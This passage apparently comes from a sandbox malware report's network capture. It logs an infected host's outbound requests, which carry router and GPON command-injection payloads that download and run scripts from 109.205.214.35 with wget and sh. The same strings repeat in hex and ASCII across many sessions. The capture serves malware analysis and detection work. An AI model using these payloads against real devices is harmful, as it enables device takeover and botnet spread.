68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1549	192.168.2.23	50758	172.65.94.16	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.256939888 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1550	192.168.2.23	35190	172.67.122.62	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.256979942 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1551	192.168.2.23	42752	51.89.133.14	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.312603951 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:27:02.482372046 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:27:02 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1552	192.168.2.23	43494	118.118.97.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414402962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1553	192.168.2.23	47386	5.158.143.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414411068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1554	192.168.2.23	45254	118.44.118.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414442062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1555	192.168.2.23	47018	94.12.156.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414444923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1556	192.168.2.23	39960	42.131.87.135	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414454937 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1557	192.168.2.23	41238	42.61.144.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414483070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1558	192.168.2.23	50844	118.97.48.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414504051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1559	192.168.2.23	53602	37.156.79.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414504051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1560	192.168.2.23	34814	37.222.89.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414550066 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1561	192.168.2.23	47896	2.231.88.199	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414552927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1562	192.168.2.23	56352	178.208.58.64	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414555073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1563	192.168.2.23	36690	109.59.186.253	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414587975 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1564	192.168.2.23	56326	118.226.86.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414628983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1565	192.168.2.23	38336	79.82.238.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414659023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1566	192.168.2.23	41530	212.165.138.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414665937 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1567	192.168.2.23	55788	37.167.56.242	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414697886 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1568	192.168.2.23	40414	5.196.172.138	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414720058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1569	192.168.2.23	51834	210.60.79.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414732933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1570	192.168.2.23	47964	94.198.141.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414777040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1571	192.168.2.23	45278	210.81.234.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414781094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1572	192.168.2.23	35042	79.120.223.54	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414784908 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1573	192.168.2.23	33942	109.153.72.125	443

Timestamp	Bytes transferred	Direction	Data
